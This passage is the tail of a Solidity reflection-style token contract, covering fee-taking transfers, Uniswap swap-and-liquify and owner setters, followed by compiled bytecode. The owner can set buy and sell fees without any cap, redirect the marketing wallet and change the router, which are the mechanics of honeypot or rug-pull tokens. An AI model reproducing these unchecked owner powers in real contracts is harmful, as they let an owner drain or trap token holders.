&& to != owner() && to != address(0) && to != address(0xdead) && to != uniswapV2Pair ) { uint256 contractBalanceRecepient = balanceOf(to); require( contractBalanceRecepient + amount <= maxWalletToken, "Exceeds maximum wallet token amount." ); } if(from == uniswapV2Pair && !isWhiteListed(to)){ require(amount <= maxBuyTransactionAmount, "Buy transfer amount exceeds the maxBuyTransactionAmount."); } // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } // Indicates if fee should be deducted from transfer bool takeFee = true; // If any account belongs to _isExcludedFromFee account then remove the fee if(isWhiteListed(from) || isWhiteListed(to)){ takeFee = false; } // Set buy fees if(from == uniswapV2Pair || from.isContract()) { _taxFee = _buyTaxFee; _marketingFee = _buyMarketingFee; _liquidityFee = _buyLiquidityFee; _burnFee = _buyBurnFee; } // Set sell fees if(to == uniswapV2Pair || to.isContract()) { _taxFee = _sellTaxFee; _marketingFee = _sellMarketingFee; _liquidityFee = _sellLiquidityFee; _burnFee = _sellBurnFee; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 combineFees = _liquidityFee.add(_marketingFee); // marketing + liquidity fees uint256 tokensForLiquidity = contractTokenBalance.mul(_liquidityFee).div(combineFees); uint256 tokensForMarketing = contractTokenBalance.sub(tokensForLiquidity); // split the Liquidity tokens balance into halves uint256 half = tokensForLiquidity.div(2); uint256 otherHalf = tokensForLiquidity.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); uint256 contractBalance = address(this).balance; swapTokensForEth(tokensForMarketing); uint256 transferredBalance = address(this).balance.sub(contractBalance); //Send to Marketing address transferToAddressETH(marketingWallet, transferredBalance); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount) private { if(_whiteList[sender] || _whiteList[recipient]) { removeAllFee(); } else { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); (tTransferAmount, rTransferAmount) = takeBurn(sender, tTransferAmount, rTransferAmount, tAmount); (tTransferAmount, rTransferAmount) = takeMarketing(sender, tTransferAmount, rTransferAmount, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function takeBurn(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private returns (uint256, uint256) { if(_burnFee==0) { return(tTransferAmount, rTransferAmount); } uint256 tBurn = tAmount.div(100).mul(_burnFee); uint256 rBurn = tBurn.mul(_getRate()); rTransferAmount = rTransferAmount.sub(rBurn); tTransferAmount = tTransferAmount.sub(tBurn); _rOwned[deadAddress] = _rOwned[deadAddress].add(rBurn); emit Transfer(sender, deadAddress, tBurn); return(tTransferAmount, rTransferAmount); } function takeMarketing(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private returns (uint256, uint256) { if(_marketingFee==0) { return(tTransferAmount, rTransferAmount); } uint256 tMarketing = tAmount.div(100).mul(_marketingFee); uint256 rMarketing = tMarketing.mul(_getRate()); rTransferAmount = rTransferAmount.sub(rMarketing); tTransferAmount = tTransferAmount.sub(tMarketing); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); emit Transfer(sender, address(this), tMarketing); return(tTransferAmount, rTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _whiteList[account] = true; } function includeInFee(address account) public onlyOwner { _whiteList[account] = false; } function setMarketingWallet(address payable newWallet) external onlyOwner() { marketingWallet = newWallet; } function setBuyFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee, uint256 burnFee) external onlyOwner() { _buyTaxFee = taxFee; _buyMarketingFee = MarketingFee; _buyLiquidityFee = liquidityFee; _buyBurnFee = burnFee; } function setSellFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee, uint256 burnFee) external onlyOwner() { _sellTaxFee = taxFee; _sellMarketingFee = MarketingFee; _sellLiquidityFee = liquidityFee; _sellBurnFee = burnFee; } function setNumTokensSellToAddToLiquidity(uint256 newAmt) external onlyOwner() { numTokensSellToAddToLiquidity = newAmt*10**_decimals; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount > 0, "Cannot set transaction amount as zero"); _maxTxAmount = maxTxAmount * 10**_decimals; } function setMaxBuytx(uint256 _newAmount) public onlyOwner { maxBuyTransactionAmount = _newAmount * 10**_decimals; } function setMaxWalletToken(uint256 _maxToken) external onlyOwner { maxWalletToken = _maxToken * 10**_decimals; } //New router address? //No problem, just change it here! function setRouterAddress(address newRouter) public onlyOwner() { IUniswapV2Router02 _newPancakeRouter = IUniswapV2Router02(newRouter); uniswapV2Pair = IUniswapV2Factory(_newPancakeRouter.factory()).createPair(address(this), _newPancakeRouter.WETH()); uniswapV2Router = _newPancakeRouter; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } }
0x60806040526004361061036f5760003560e01c806375f0a874116101c6578063b6c52324116100f7578063dd62ed3e11610095578063ec28438a1161006f578063ec28438a14610913578063efcc52de14610933578063f0f165af14610948578063f2fde38b1461096857610376565b8063dd62ed3e146108be578063e6c75f71146108de578063ea2f0b37146108f357610376565b8063c8607952116100d1578063c86079521461085f578063d12a768814610874578063dc44b6a014610889578063dd4670641461089e57610376565b8063b6c5232414610815578063c49b9a801461082a578063c5d241891461084a57610376565b806395d89b4111610164578063a68bacf31161013e578063a68bacf3146107a0578063a69df4b5146107c0578063a9059cbb146107d5578063afee32a9146107f557610376565b806395d89b411461074b5780639d854b6314610760578063a457c2d71461078057610376565b806388790a68116101a057806388790a68146106e157806388f82020146106f65780638da5cb5b1461071657806391d55f411461072b57610376565b806375f0a874146106a25780637abdc1ca146106b75780637d1db4a5146106cc57610376565b806339509351116102a057806352390c021161023e5780635d098b38116102185780635d098b381461062d5780636f9170f61461064d57806370a082311461066d578063715018a61461068d57610376565b806352390c02146105e35780635aa821a9146106035780635c975abb1461061857610376565b8063437823ec1161027a578063437823ec146105795780634549b0391461059957806349bd5a5e146105b95780634a74bb02146105ce57610376565b806339509351146105195780633bd5d1731461053957806341cb87fc1461055957610376565b806323b872dd1161030d5780632d838119116102e75780632d838119146104a2578063313ce567146104c2578063320b2ad9146104e45780633685d419146104f957610376565b806323b872dd1461045657806327c8f83514610476578063293230b81461048b57610376565b80631694505e116103495780631694505e146103f557806316f2f1a81461041757806318160ddd1461042c578063200a692d1461044157610376565b806306fdde031461037b578063095ea7b3146103a657806313114a9d146103d357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610988565b60405161039d9190612ea5565b60405180910390f35b3480156103b257600080fd5b506103c66103c1366004612d4b565b610a1a565b60405161039d9190612e9a565b3480156103df57600080fd5b506103e8610a38565b60405161039d9190613403565b34801561040157600080fd5b5061040a610a3e565b60405161039d9190612e31565b34801561042357600080fd5b506103e8610a4d565b34801561043857600080fd5b506103e8610a53565b34801561044d57600080fd5b506103e8610a59565b34801561046257600080fd5b506103c6610471366004612d0b565b610a5f565b34801561048257600080fd5b5061040a610ae7565b34801561049757600080fd5b506104a0610af6565b005b3480156104ae57600080fd5b506103e86104bd366004612d90565b610b6d565b3480156104ce57600080fd5b506104d7610bb0565b60405161039d9190613492565b3480156104f057600080fd5b506104a0610bb9565b34801561050557600080fd5b506104a0610514366004612c9b565b610c14565b34801561052557600080fd5b506103c6610534366004612d4b565b610ddf565b34801561054557600080fd5b506104a0610554366004612d90565b610e2d565b34801561056557600080fd5b506104a0610574366004612c9b565b610ee8565b34801561058557600080fd5b506104a0610594366004612c9b565b6110b4565b3480156105a557600080fd5b506103e86105b4366004612da8565b61110d565b3480156105c557600080fd5b5061040a61116a565b3480156105da57600080fd5b506103c6611179565b3480156105ef57600080fd5b506104a06105fe366004612c9b565b611189565b34801561060f57600080fd5b506103e86112b7565b34801561062457600080fd5b506103c66112bd565b34801561063957600080fd5b506104a0610648366004612c9b565b6112c6565b34801561065957600080fd5b506103c6610668366004612c9b565b61131d565b34801561067957600080fd5b506103e8610688366004612c9b565b61133b565b34801561069957600080fd5b506104a061139d565b3480156106ae57600080fd5b5061040a61140a565b3480156106c357600080fd5b506103e8611419565b3480156106d857600080fd5b506103e861141f565b3480156106ed57600080fd5b506103e8611425565b34801561070257600080fd5b506103c6610711366004612c9b565b61142b565b34801561072257600080fd5b5061040a611449565b34801561073757600080fd5b506104a0610746366004612d90565b611458565b34801561075757600080fd5b506103906114ae565b34801561076c57600080fd5b506104a061077b366004612e00565b6114bd565b34801561078c57600080fd5b506103c661079b366004612d4b565b611506565b3480156107ac57600080fd5b506104a06107bb366004612d90565b61156e565b3480156107cc57600080fd5b506104a06115c4565b3480156107e157600080fd5b506103c66107f0366004612d4b565b61165e565b34801561080157600080fd5b506104a0610810366004612e00565b611672565b34801561082157600080fd5b506103e86116bb565b34801561083657600080fd5b506104a0610845366004612d76565b6116c1565b34801561085657600080fd5b506103e8611748565b34801561086b57600080fd5b506103e861174e565b34801561088057600080fd5b506103e8611754565b34801561089557600080fd5b506103e861175a565b3480156108aa57600080fd5b506104a06108b9366004612d90565b611760565b3480156108ca57600080fd5b506103e86108d9366004612cd3565b6117f0565b3480156108ea57600080fd5b506103e861181b565b3480156108ff57600080fd5b506104a061090e366004612c9b565b611821565b34801561091f57600080fd5b506104a061092e366004612d90565b611877565b34801561093f57600080fd5b506103e86118ed565b34801561095457600080fd5b506104a0610963366004612d90565b6118f3565b34801561097457600080fd5b506104a0610983366004612c9b565b611949565b6060600e80546109979061361c565b80601f01602080910402602001604051908101604052809291908181526020018280546109c39061361c565b8015610a105780601f106109e557610100808354040283529160200191610a10565b820191906000526020600020905b8154815290600101906020018083116109f357829003601f168201915b5050505050905090565b6000610a2e610a276119ed565b84846119f1565b5060015b92915050565b600d5490565b601e546001600160a01b031681565b60145481565b600b5490565b60155481565b6000610a6c848484611aa5565b610adc84610a786119ed565b610ad7856040518060600160405280602881526020016136a1602891396001600160a01b038a16600090815260066020526040812090610ab66119ed565b6001600160a01b031681526020810191909152604001600020549190611d53565b6119f1565b5060015b9392505050565b6008546001600160a01b031681565b610afe6112bd565b610b235760405162461bcd60e51b8152600401610b1a90612ef8565b60405180910390fd5b6003805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa610b566119ed565b604051610b639190612e31565b60405180910390a1565b6000600c54821115610b915760405162461bcd60e51b8152600401610b1a90612f6b565b6000610b9b611d8d565b9050610ba78382611db0565b9150505b919050565b60105460ff1690565b610bc16112bd565b15610bde5760405162461bcd60e51b8152600401610b1a906130ab565b6003805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258610b566119ed565b610c1c6119ed565b6000546001600160a01b03908116911614610c495760405162461bcd60e51b8152600401610b1a906131d9565b6001600160a01b03811660009081526009602052604090205460ff16610c815760405162461bcd60e51b8152600401610b1a90613074565b60005b600a54811015610ddb57816001600160a01b0316600a8281548110610cb957634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610dc957600a8054610ce490600190613605565b81548110610d0257634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600a80546001600160a01b039092169183908110610d3c57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600582526040808220829055600990925220805460ff19169055600a805480610da257634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610ddb565b80610dd381613657565b915050610c84565b5050565b6000610a2e610dec6119ed565b84610ad78560066000610dfd6119ed565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611df2565b6000610e376119ed565b6001600160a01b03811660009081526009602052604090205490915060ff1615610e735760405162461bcd60e51b8152600401610b1a90613374565b6000610e7e83611e21565b505050506001600160a01b038416600090815260046020526040902054919250610eaa91905082611e70565b6001600160a01b038316600090815260046020526040902055600c54610ed09082611e70565b600c55600d54610ee09084611df2565b600d55505050565b610ef06119ed565b6000546001600160a01b03908116911614610f1d5760405162461bcd60e51b8152600401610b1a906131d9565b6000819050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5b57600080fd5b505afa158015610f6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f939190612cb7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fdb57600080fd5b505afa158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110139190612cb7565b6040518363ffffffff1660e01b8152600401611030929190612e45565b602060405180830381600087803b15801561104a57600080fd5b505af115801561105e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110829190612cb7565b601f80546001600160a01b039283166001600160a01b031991821617909155601e805493909216921691909117905550565b6110bc6119ed565b6000546001600160a01b039081169116146110e95760405162461bcd60e51b8152600401610b1a906131d9565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6000600b548311156111315760405162461bcd60e51b8152600401610b1a906130d5565b8161115057600061114184611e21565b50939550610a32945050505050565b600061115b84611e21565b50929550610a32945050505050565b601f546001600160a01b031681565b601f54600160a81b900460ff1681565b6111916119ed565b6000546001600160a01b039081169116146111be5760405162461bcd60e51b8152600401610b1a906131d9565b6001600160a01b03811660009081526009602052604090205460ff16156111f75760405162461bcd60e51b8152600401610b1a90613074565b6001600160a01b03811660009081526004602052604090205415611251576001600160a01b03811660009081526004602052604090205461123790610b6d565b6001600160a01b0382166000908152600560205260409020555b6001600160a01b03166000818152600960205260408120805460ff19166001908117909155600a805491820181559091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319169091179055565b60225481565b60035460ff1690565b6112ce6119ed565b6000546001600160a01b039081169116146112fb5760405162461bcd60e51b8152600401610b1a906131d9565b601d80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526007602052604090205460ff1690565b6001600160a01b03811660009081526009602052604081205460ff161561137b57506001600160a01b038116600090815260056020526040902054610bab565b6001600160a01b038216600090815260046020526040902054610a3290610b6d565b6113a56119ed565b6000546001600160a01b039081169116146113d25760405162461bcd60e51b8152600401610b1a906131d9565b600080546040516001600160a01b03909116906000805160206136c9833981519152908390a3600080546001600160a01b0319169055565b601d546001600160a01b031681565b60185481565b60215481565b60175481565b6001600160a01b031660009081526009602052604090205460ff1690565b6000546001600160a01b031690565b6114606119ed565b6000546001600160a01b0390811691161461148d5760405162461bcd60e51b8152600401610b1a906131d9565b60105461149e9060ff16600a613515565b6114a890826135e6565b60235550565b6060600f80546109979061361c565b6114c56119ed565b6000546001600160a01b039081169116146114f25760405162461bcd60e51b8152600401610b1a906131d9565b601593909355601691909155601755601855565b6000610a2e6115136119ed565b84610ad7856040518060600160405280602581526020016136e9602591396006600061153d6119ed565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611d53565b6115766119ed565b6000546001600160a01b039081169116146115a35760405162461bcd60e51b8152600401610b1a906131d9565b6010546115b49060ff16600a613515565b6115be90826135e6565b60225550565b6001546001600160a01b031633146115ee5760405162461bcd60e51b8152600401610b1a906133c0565b600254421161160f5760405162461bcd60e51b8152600401610b1a906132e0565b600154600080546040516001600160a01b0393841693909116916000805160206136c983398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610a2e61166b6119ed565b8484611aa5565b61167a6119ed565b6000546001600160a01b039081169116146116a75760405162461bcd60e51b8152600401610b1a906131d9565b601193909355601391909155601255601455565b60025490565b6116c96119ed565b6000546001600160a01b039081169116146116f65760405162461bcd60e51b8152600401610b1a906131d9565b601f805460ff60a81b1916600160a81b831515021790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061173d908390612e9a565b60405180910390a150565b60135481565b60165481565b60205481565b60125481565b6117686119ed565b6000546001600160a01b039081169116146117955760405162461bcd60e51b8152600401610b1a906131d9565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556117c481426134a0565b600255600080546040516001600160a01b03909116906000805160206136c9833981519152908390a350565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60235481565b6118296119ed565b6000546001600160a01b039081169116146118565760405162461bcd60e51b8152600401610b1a906131d9565b6001600160a01b03166000908152600760205260409020805460ff19169055565b61187f6119ed565b6000546001600160a01b039081169116146118ac5760405162461bcd60e51b8152600401610b1a906131d9565b600081116118cc5760405162461bcd60e51b8152600401610b1a90612f26565b6010546118dd9060ff16600a613515565b6118e790826135e6565b60215550565b60115481565b6118fb6119ed565b6000546001600160a01b039081169116146119285760405162461bcd60e51b8152600401610b1a906131d9565b6010546119399060ff16600a613515565b61194390826135e6565b60205550565b6119516119ed565b6000546001600160a01b0390811691161461197e5760405162461bcd60e51b8152600401610b1a906131d9565b6001600160a01b0381166119a45760405162461bcd60e51b8152600401610b1a90612fb5565b600080546040516001600160a01b03808516939216916000805160206136c983398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b038316611a175760405162461bcd60e51b8152600401610b1a9061329c565b6001600160a01b038216611a3d5760405162461bcd60e51b8152600401610b1a90612ffb565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611a98908590613403565b60405180910390a3505050565b611aad6112bd565b15611aca5760405162461bcd60e51b8152600401610b1a906130ab565b6001600160a01b038316611af05760405162461bcd60e51b8152600401610b1a90613257565b60008111611b105760405162461bcd60e51b8152600401610b1a9061320e565b611b18611449565b6001600160a01b0316836001600160a01b031614158015611b525750611b3c611449565b6001600160a01b0316826001600160a01b031614155b8015611b6657506001600160a01b03821615155b8015611b7d57506001600160a01b03821661dead14155b8015611b975750601f546001600160a01b03838116911614155b15611bd7576000611ba78361133b565b602354909150611bb783836134a0565b1115611bd55760405162461bcd60e51b8152600401610b1a90613154565b505b601f546001600160a01b038481169116148015611bfa5750611bf88261131d565b155b15611c2157602254811115611c215760405162461bcd60e51b8152600401610b1a90613317565b6000611c2c3061133b565b60205490915081108015908190611c4d5750601f54600160a01b900460ff16155b8015611c675750601f546001600160a01b03868116911614155b8015611c7c5750601f54600160a81b900460ff165b15611c8f576020549150611c8f82611eb2565b6001611c9a8661131d565b80611ca95750611ca98561131d565b15611cb2575060005b601f546001600160a01b0387811691161480611cdb5750611cdb866001600160a01b0316611fcd565b15611cf957601154601955601354601a55601254601b55601454601c555b601f546001600160a01b0386811691161480611d225750611d22856001600160a01b0316611fcd565b15611d4057601554601955601654601a55601754601b55601854601c555b611d4b868686612009565b505050505050565b60008184841115611d775760405162461bcd60e51b8152600401610b1a9190612ea5565b506000611d848486613605565b95945050505050565b6000806000611d9a6121d5565b9092509050611da98282611db0565b9250505090565b6000610ae083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612392565b600080611dff83856134a0565b905083811015610ae05760405162461bcd60e51b8152600401610b1a9061303d565b6000806000806000806000806000611e388a6123c0565b9250925092506000806000611e568d8686611e51611d8d565b612402565b919f909e50909c50959a5093985091965092945050505050565b6000610ae083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d53565b601f805460ff60a01b1916600160a01b179055601a54601b54600091611ed89190611df2565b90506000611efb82611ef5601b548661245290919063ffffffff16565b90611db0565b90506000611f098483611e70565b90506000611f18836002611db0565b90506000611f268483611e70565b905047611f3283612497565b6000611f3e4783611e70565b9050611f4a8382612614565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051611f7d9392919061347c565b60405180910390a147611f8f86612497565b6000611f9b4783611e70565b601d54909150611fb4906001600160a01b0316826126c6565b5050601f805460ff60a01b191690555050505050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061200157508115155b949350505050565b6001600160a01b03831660009081526007602052604090205460ff168061204857506001600160a01b03821660009081526007602052604090205460ff165b1561205a576120556126fc565b61207c565b60215481111561207c5760405162461bcd60e51b8152600401610b1a9061310c565b6001600160a01b03831660009081526009602052604090205460ff1680156120bd57506001600160a01b03821660009081526009602052604090205460ff16155b156120d2576120cd838383612745565b6121d0565b6001600160a01b03831660009081526009602052604090205460ff1615801561211357506001600160a01b03821660009081526009602052604090205460ff165b15612123576120cd838383612869565b6001600160a01b03831660009081526009602052604090205460ff1615801561216557506001600160a01b03821660009081526009602052604090205460ff16155b15612175576120cd838383612912565b6001600160a01b03831660009081526009602052604090205460ff1680156121b557506001600160a01b03821660009081526009602052604090205460ff165b156121c5576120cd838383612975565b6121d0838383612912565b505050565b600c54600b546000918291825b600a54811015612360578260046000600a848154811061221257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061228b57508160056000600a848154811061226457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156122a257600c54600b549450945050505061238e565b6122f660046000600a84815481106122ca57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e70565b925061234c60056000600a848154811061232057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e70565b91508061235881613657565b9150506121e2565b50600b54600c5461237091611db0565b82101561238857600c54600b5493509350505061238e565b90925090505b9091565b600081836123b35760405162461bcd60e51b8152600401610b1a9190612ea5565b506000611d8484866134b8565b6000806000806123cf856129e8565b905060006123dc86612a04565b905060006123f4826123ee8986611e70565b90611e70565b979296509094509092505050565b60008080806124118886612452565b9050600061241f8887612452565b9050600061242d8888612452565b9050600061243f826123ee8686611e70565b939b939a50919850919650505050505050565b60008261246157506000610a32565b600061246d83856135e6565b90508261247a85836134b8565b14610ae05760405162461bcd60e51b8152600401610b1a90613198565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106124da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561252e57600080fd5b505afa158015612542573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125669190612cb7565b8160018151811061258757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601e546125ad91309116846119f1565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906125e690859060009086903090429060040161340c565b600060405180830381600087803b15801561260057600080fd5b505af1158015611d4b573d6000803e3d6000fd5b601e5461262c9030906001600160a01b0316846119f1565b601e546001600160a01b031663f305d71982308560008061264b611449565b426040518863ffffffff1660e01b815260040161266d96959493929190612e5f565b6060604051808303818588803b15801561268657600080fd5b505af115801561269a573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126bf9190612dd3565b5050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156121d0573d6000803e3d6000fd5b60195415801561270c5750601b54155b80156127185750601a54155b80156127245750601c54155b1561272e57612743565b60006019819055601b819055601a819055601c555b565b60008060008060008061275787611e21565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506127899088611e70565b6001600160a01b038a166000908152600560209081526040808320939093556004905220546127b89087611e70565b6001600160a01b03808b1660009081526004602052604080822093909355908a16815220546127e79086611df2565b6001600160a01b03891660009081526004602052604090205561280981612a20565b6128138483612aa8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128569190613403565b60405180910390a3505050505050505050565b60008060008060008061287b87611e21565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506128ad9087611e70565b6001600160a01b03808b16600090815260046020908152604080832094909455918b168152600590915220546128e39084611df2565b6001600160a01b0389166000908152600560209081526040808320939093556004905220546127e79086611df2565b60008060008060008061292487611e21565b95509550955095509550955061293c8984878a612acc565b9550925061294c8984878a612bcb565b6001600160a01b038b166000908152600460205260409020549096509093506127b89087611e70565b60008060008060008061298787611e21565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506129b99088611e70565b6001600160a01b038a166000908152600560209081526040808320939093556004905220546128ad9087611e70565b6000610a326064611ef56019548561245290919063ffffffff16565b6000610a326064611ef5601b548561245290919063ffffffff16565b6000612a2a611d8d565b90506000612a388383612452565b30600090815260046020526040902054909150612a559082611df2565b3060009081526004602090815260408083209390935560099052205460ff16156121d05730600090815260056020526040902054612a939084611df2565b30600090815260056020526040902055505050565b600c54612ab59083611e70565b600c55600d54612ac59082611df2565b600d555050565b600080601c5460001415612ae4575083905082612bc2565b601c54600090612aff90612af9866064611db0565b90612452565b90506000612b15612b0e611d8d565b8390612452565b9050612b218682611e70565b9550612b2d8783611e70565b6008546001600160a01b0316600090815260046020526040902054909750612b559082611df2565b600880546001600160a01b0390811660009081526004602052604090819020939093559054915191811691908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612bb1908690613403565b60405180910390a386869350935050505b94509492505050565b600080601a5460001415612be3575083905082612bc2565b601a54600090612bf890612af9866064611db0565b90506000612c07612b0e611d8d565b9050612c138682611e70565b9550612c1f8783611e70565b30600090815260046020526040902054909750612c3c9082611df2565b30600081815260046020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612bb1908690613403565b80358015158114610bab57600080fd5b600060208284031215612cac578081fd5b8135610ae081613688565b600060208284031215612cc8578081fd5b8151610ae081613688565b60008060408385031215612ce5578081fd5b8235612cf081613688565b91506020830135612d0081613688565b809150509250929050565b600080600060608486031215612d1f578081fd5b8335612d2a81613688565b92506020840135612d3a81613688565b929592945050506040919091013590565b60008060408385031215612d5d578182fd5b8235612d6881613688565b946020939093013593505050565b600060208284031215612d87578081fd5b610ae082612c8b565b600060208284031215612da1578081fd5b5035919050565b60008060408385031215612dba578182fd5b82359150612dca60208401612c8b565b90509250929050565b600080600060608486031215612de7578283fd5b8351925060208401519150604084015190509250925092565b60008060008060808587031215612e15578081fd5b5050823594602084013594506040840135936060013592509050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015612ed157858101830151858201604001528201612eb5565b81811115612ee25783604083870101525b50601f01601f191692909201604001939250505056